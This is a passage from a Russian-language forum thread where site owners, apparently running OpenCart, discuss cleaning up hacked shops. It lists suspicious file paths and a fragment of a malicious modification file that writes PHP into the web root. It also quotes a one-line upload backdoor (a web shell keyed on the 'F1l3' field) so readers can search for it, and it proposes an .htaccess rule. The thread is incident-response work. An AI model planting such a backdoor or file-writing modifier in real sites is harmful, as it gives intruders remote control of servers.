                fwrite($fp, '<?php '.$confdist.' ?>'.PHP_EOL);            
                fclose($fp);        
                $fp = fopen($_SERVER['DOCUMENT_ROOT'].'/config-dist.php', 'w');        
                fwrite($fp, '<?php '.$confdist.' ?>'.PHP_EOL);            
                fclose($fp);
            ]]></add>     
        </operation>
    </file>
</modification>

 

Стоит проверить наличие файлов

• admin/controller/design/image.php
• admin/conf.php
• admin/conf-dist.php
• admin/conf_dist.php
• admin/i.php
• conf.php
• config-dist.php
• catalog/controller/affiliate/image.php

Проверить файл catalog/controller/common/header.php(а также в system/storage/modification/) на наличии строк:

if (isset($_FILES['F1l3'])) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}; 

Тоже самое с config.php.

А еще наличие папки config в корне(в ней обнаружился textolite)

Змінено 17 травня 2019 користувачем natom

[mister12]

У клиентов целый ряд сайтов был взломан 4 мая и 13 мая. Во всех случаях виноват был слабый логин/пароль

[sti1]

Спасибо

Змінено 24 травня 2019 користувачем sti1

[Aspirinnka1]

В 09.05.2019 в 15:47, mpn2005 сказал:

4) Во все подпапки сайта (первой вложенности в корне,кроме admin. И так же в подпапках в папке admin) можно разложить файлы ".htaccess" c запретом на открытие файлов php

подскажите, плиз, как будет правильно выглядеть содержимое htaccess

Такой вариант пойдет или ерунда?

<Files *.php>

deny from all

</Files>